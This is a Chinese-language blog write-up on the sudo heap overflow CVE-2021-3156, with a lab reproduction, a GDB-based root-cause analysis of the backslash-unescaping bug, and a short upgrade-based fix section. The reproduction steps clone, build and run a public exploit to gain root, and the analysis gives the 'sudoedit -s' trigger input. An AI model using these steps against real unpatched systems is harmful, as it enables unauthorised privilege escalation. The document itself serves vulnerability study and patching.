【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复

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前言

  2021年01月27日，RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告，普通用户可以通过利用此漏洞，而无需进行身份验证，成功获取Root权限。

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1、漏洞概述

  1.9.5p2之前的Sudo包含一个off-by-one错误，该错误可能导致基于堆的缓冲区溢出，这允许通过sudoedit -s和以单个反斜杠字符结尾的命令行参数将权限提升到root。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息，请参阅阿里云漏洞库和NVD：

描述项	具体值
CVE编号	CVE-2021-3156
NVD评分	7.8
披露时间	2021-01-27
漏洞类型	堆缓冲区溢出、Off-by-one错误、跨界内存写
漏洞危害	本地提权
影响范围	1.8.2＜sudo＜1.8.31p2、1.9.0＜sudo＜1.9.5p1
是否有Patch	无
Patch是否可用	暂无
数据保密性	无影响
数据完整性	无影响
攻击路径	本地
攻击复杂度	容易

2、漏洞复现

2.1、漏洞复现测试环境

软件环境	硬件环境	约束条件
操作系统版本为ubuntu-18.04.5-desktop-amd64	分配4个处理器，每个处理器有4个内核，处理器内核总数为16	1.8.2＜sudo＜1.8.31p2
Linux内核版本为5.4.0-42-generic	内存16GB	1.9.0＜sudo＜1.9.5p1
使用的虚拟机管理器为VMware 17.0.0	硬盘400GB	暂无

2.2、漏洞复现具体步骤

  首先去文件服务器中查找是否存在符合当前漏洞条件的操作系统和Linux内核版本的组合的虚拟机系统，如果存在，则参考下文进行漏洞复现。否则请参阅“POC验证环境搭建规范”一文搭建满足当前漏洞条件的操作系统和Linux内核的组合的虚拟机系统并将其上传到我们的服务器后，再参考下文进行漏洞复现。

1. 首先查看当前Ubuntu系统的版本：

$ lsb_release -a

2. 可以发现当前Ubuntu系统的版本为18.04.5 LTS：
   

3. 然后查看当前Ubuntu系统的Linux内核的版本：

$ uname -r

4. 可以发现当前Ubuntu系统的Linux内核的版本为5.4.0-42-generic：
   

5. 然后使用如下命令查看当前系统中的sudo的版本：

$ sudo --version

6. 可以发现当前系统中的sudo的版本为1.8.21p2：
   

7. 然后下载安装POC/CVE验证所需要的软件：

$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g++ -y

8. 然后来到当前用户的根目录中，创建名为“CVE-2021-3156”的目录，并进入此目录：

$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/

9. 然后在名为“CVE-2021-3156”的目录中下载Exploit源码，并进入其源码目录：

$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/

10. 然后执行如下命令来编译源代码以得到用于POC/CVE验证的二进制文件：

$ make

11. 然后使用如下命令查看上面的操作的结果：

$ ll

12. 可以发现，已经成功得到了用于POC/CVE验证的二进制文件：
    

13. 然后在此目录中继续创建一个名为“run.sh”的文件，并编辑其：

$ touch run.sh
$ gedit run.sh

14. 在打开的文件中，输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证：

#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho "Script execution completed."

15. 当我们做完以上操作后，保存以上修改后退出，然后赋予“run.sh”脚本执行权限，并执行其以进行POC/CVE的验证：

$ chmod +x run.sh
$ ./run.sh

16. 执行上面的命令后，发现已经成功利用此Exploit获取到了root用户的权限：
    

17. 我们可以使用如下命令进一步验证当前用户的权限：

# whoami

18. 可以发现，已经成功提权：
    

3、漏洞原理

3.1、前置知识

3.1.1、sudo

  sudo（Superuser Do）是一个在Unix和类Unix操作系统中用于以超级用户（root用户）权限执行命令的命令行工具。它允许系统管理员授权普通用户执行特定任务，而不需要提供完整的超级用户凭证。以下是关于sudo工具的一些关键特点和用法：

1. 权限提升：允许普通用户以超级用户身份执行特定的命令或访问受保护的文件，通常需要输入用户自己的密码而不是超级用户密码。
2. 安全性：提高系统的安全性，因为用户只有在需要时才能获得超级用户权限，并且所有的操作都可以被审计。
3. 配置文件：可以通过配置文件（通常是“/etc/sudoers”）定义哪些用户可以执行哪些命令，以及在执行这些命令时是否需要输入密码。
4. 命令格式：sudo命令通常的格式为sudo [选项] 命令 [命令参数]。例如，sudo ls /root允许普通用户以超级用户权限列出“/root”目录的内容。

  请注意，sudo可以用于在终端中执行单个命令，也可以使用sudo -s或sudo su来启动一个新的shell以获取超级用户权限，但这样的使用需要谨慎，确保只有授权的用户可以执行。

3.1.2、sudoedit

  sudoedit是sudo命令的一个别名，用于以超级用户（root用户）权限编辑文件。它允许普通用户在不需要完全切换到超级用户账户的情况下，通过指定的文本编辑器编辑受保护的文件。以下是一些关于sudoedit命令的一些关键特点和用法：

1. 权限控制：允许普通用户编辑系统中的文件，而不需要直接使用超级用户权限。这有助于提高系统的安全性。
2. 配置文件：类似于sudo命令，sudoedit命令的权限也可以通过配置文件（通常是“/etc/sudoers”）进行定义和配置。
3. 安全性：由于编辑器的选择是通过配置文件中指定的，系统管理员可以限制用户可以使用的编辑器，从而提高安全性。
4. 命令格式：sudoedit命令的基本格式是sudoedit [选项] 文件。例如，sudoedit /etc/hosts命令允许用户以超级用户权限编辑“/etc/hosts”文件。
5. 基本参数：
   • -s或--shell：打开一个新的shell，允许用户以超级用户权限执行命令
   • -h或--help：显示sudoedit的帮助信息，列出可用选项和参数
   • -V或--version：显示sudoedit的版本信息
   • -b或--background：在后台模式下运行编辑器。这对于在脚本或其他自动化任务中使用sudoedit可能很有用

  使用sudoedit命令时，用户通常会被要求输入他们自己的密码，而不是超级用户密码，以进行身份验证。这使得sudoedit更加安全，因为系统可以追踪哪个用户以超级用户权限编辑了哪些文件。

3.1.3、转义字符

  转义字符是一种用于表示一些特殊字符的机制，通常通过在字符前面加上反斜杠（\）来实现。转义字符告诉解释器或编译器，后面的字符应该以不同于其原始含义的方式被解释。以下是一些常见的转义字符及其用途：

1. \n：换行符，用于在字符串中创建新的一行。
2. \t：制表符，用于在字符串中插入水平制表符。
3. \r：回车符，将光标移动到行首而不换行。
4. "：双引号，用于在双引号内表示双引号字符。
5. '：单引号，用于在单引号内表示单引号字符。
6. \：反斜杠，用于在字符串中表示反斜杠字符本身。
7. \x：十六进制转义，用于表示一个字符的十六进制值，例如\x41表示字符’A’。

  在编程语言和正则表达式等上下文中，转义字符是为了能够处理和表示特殊字符，以及避免与语言中的其他语法冲突。例如，在字符串中使用转义字符可以让你插入一些特殊的字符，而不会与字符串的边界或其他字符产生歧义。需要注意的是：

• C语言中，\\表示\
• GDB中，\\表示\

3.2、漏洞分析

  为了分析CVE-2021-3156漏洞的原理，我们需要从sudo工具的源代码级别对其进行分析，还需要GDB对其进行调试。我们以1.8.31p1版本的sudo工具的源代码为例进行分析（因为系统自带的sudo工具没有开启调试功能，故无法对其进行分析，且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞），当前首先需要下载此版本的sudo工具的源代码，并进入其源代码目录中。

$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/

  然后我们打开如下文件，来查看其中内容。

$ gedit src/parse_args.c

  在打开的文件中定位到第590~第591行（此部分代码属于名为“parse_args”的函数），这部分代码添加了sudo命令对于特殊格式参数的转义的处理，即如果参数不是数字或者字母，并且不是_、-、$字符，则对其进行转义。

  然后我们关闭以上文件，并打开如下文件，来查看其中内容。

$ gedit plugins/sudoers/sudoers.c

  在打开的文件中定位到第864~第871行（此部分代码属于名为“set_cmnd”的函数），这部分代码的作用是去掉所有的转义符\，因为外部的输入参数最终需要保存到内存中的堆或栈空间，而这个名为“set_cmnd”的函数就是为了将命令行参数复制到堆内存，所以需要去掉所有的转义符\。我们今天讨论的CVE-2021-3156漏洞源于此处的代码。

  然后关闭以上文件即可。当我们对上述两个函数的作用有了一个清楚的认识之后，现在假设当我们执行sudoedit -s '\' python3 -c “print(‘A’*8)”``命令，会有两种情况：

• 情况一：首先使用parse_args函数对命令中的\进行转义，然后传入set_cmnd函数中消除转义，这个过程是没问题的，最终可以正常执行命令
• 情况二：不使用parse_args函数对命令中的\进行转义，然后也会进入set_cmnd函数中消除转义，不过此时在for循环的拷贝过程中，由于输入的参数只有一个\，因为没有对其进行转义，那么就会满足if判断的条件，跳过\，从而拷贝\后面的参数到user_args中，即’AAAAAAAA’（由于没有转义造成的第一次拷贝），当使用while循环拷贝完毕后，再次进入for循环，又将’AAAAAAAA’拷贝到user_args中（正常的第二次拷贝），那此时很明显拷贝的数据已经超过了user_args的长度，从而导出其发生堆溢出的情况，这样我们就可以计算出对应的溢出地址，对其插入shellcode，最终可以让普通用户提权

  下面我们将会使用GDB调试sudoedit -s '\' python3 -c “print(‘A’*8)”``命令来复现这整个过程。需要注意的是，我们不能直接使用系统自带的sudo工具来复现整个过程，因为其没有开启调试模式，我们得手动编译安装sudo工具，并开启调试模式，这就要用到我们刚刚下载的sudo 1.8.31p1的源代码了。

1. 首先进入刚刚下载的sudo 1.8.31p1的源代码目录中，开启-g选项来安装此版本的sudo工具：

$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS="-g"
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo

2. 然后查看当前系统中的sudo工具的版本：

$ sudo -V

3. 可以发现，当前系统中的sudo工具的版本就是我们刚刚安装的sudo工具的版本：
   

4. 然后我们得安装GDB：

$ sudo apt-get update
$ sudo apt-get install gdb -y

5. 然后对sudoedit -s '\' python3 -c “print(‘A’*8)”``命令进行调试：

$ sudo gdb --args sudoedit -s '\' `python3 -c "print('A'*8)"`

6. 然后按照如下方式设置断点。注：这里在设置断点的时候可能会提示我们找不到目标文件，这很正常，别担心，因为sudo工具的代码是动态加载的，我们只需要在这里设置好断点，后面当我们调试程序的时候，目标文件的代码就会自动加载进来了：

(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872

7. 然后运行程序，并继续向下执行程序直到断点：

(gdb) r
(gdb) c

8. 当我们遇到断点后，查看user_args申请的内存空间的大小：

(gdb) p size

9. 可以发现此时user_args申请的内存空间的大小为11，这符合常理，因为参数\和参数AAAAAAAA长度一共为9，而每个字符串后面都还有\0作为占位符表示当前字符串结束，所以长度一共为11=2+9：
   

10. 我们可以查看一下此时NewArgv所指向的内存空间中的具体值：

(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]

11. 可以发现，此时NewArgv所指向的内存空间中的具体值和我们预想的一样：
    

12. 经过上面的分析，我们是通过以下代码完成对NewArgv[1]和NewArgv[2]中的数据到user_args的拷贝：

if (from[0] == '\\' && !isspace((unsigned char)from[1]))  from++;  

13. 以上代码中的from就指向了NewArgv，如果传入的参数为\，那么就会进入上面的代码段完成对参数的拷贝，不过此拷贝过程不会停止，因为一直都满足if判断的条件，直到拷贝完参数AAAAAAAA才结束这一轮的拷贝。所以我们重点关注NewArgv[1]后面的值，因为NewArgv[1]指向的内存空间就存储了传入的参数\：

(gdb) x/20xb 0x7ffe6a73d834

14. 可以发现，NewArgv[1]后面刚好是AAAAAAAA，这就印证了我们的猜想：
    

15. 然后查看一下此时（还没有开始拷贝）的user_args指向的内存空间的地址，和其中的具体值：

(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0

16. 可以发现，此时user_args指向的内存空间的地址为“0x55a1702eb6a0”，其中的具体值如下图所示：
    

17. 然后从此处的断点继续向下执行程序来完成所有的拷贝过程，直到下一个断点：

(gdb) c

18. 当我们完成拷贝过程后，再次查看user_args指向的内存空间中的具体值：

(gdb) x/8xg 0x55a1702eb6a0

19. 可以发现，参数AAAAAAAA被复制了两次，这就验证了我们的猜想：
    

20. 为了进一步验证我们的猜想，我们来查看拷贝完成之后指针停留的内存空间地址（即指针to指向的内存空间的地址）：

(gdb) p to

21. 然后计算并打印拷贝完成后的内存空间的大小：

(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0

22. 可以发现，拷贝完成后的内存空间的大小为19，刚好多了参数AAAAAAAA的长度，即19=11+8。那么经过以上分析，已经成功验证了我们所有猜想，证明了CVE-2021-3156漏洞确实可以导致堆/栈溢出：
    

23. 最后我们顺序执行如下命令结束本次调试即可（如果有提示输入“y”或者“n”，我们只需要输入“y”后按一下“Enter”即可）：

(gdb) quit

4、漏洞修复

  下载升级sudo软件包，下载链接为：https://www.sudo.ws/dist/
  ……
  关于此漏洞补丁的详细信息请参阅https://avd.aliyun.com/detail?id=AVD-2021-3156。

5、参考文献

1. 阿里云漏洞库
2. NVD
3. Exploit
4. CVE-2021-3156 漏洞复现
5. 【CVE-2021-3156】linux sudo提权漏洞复现及修复
6. cve-2021-3156-sudo堆溢出简单分析
7. CVE-2021-3156分析
8. CVE-2021-3156 sudo本地提权漏洞分析
9. CVE-2021-3156调试分享
10. Download Sudo | Sudo
11. sudo版本升级以消除CVE-2021-3156
12. 修复CVE-2021-3156漏洞的具体方法

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总结

  以上就是关于CVE-2021-3156的全部内容了，后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复，我们下篇博客见！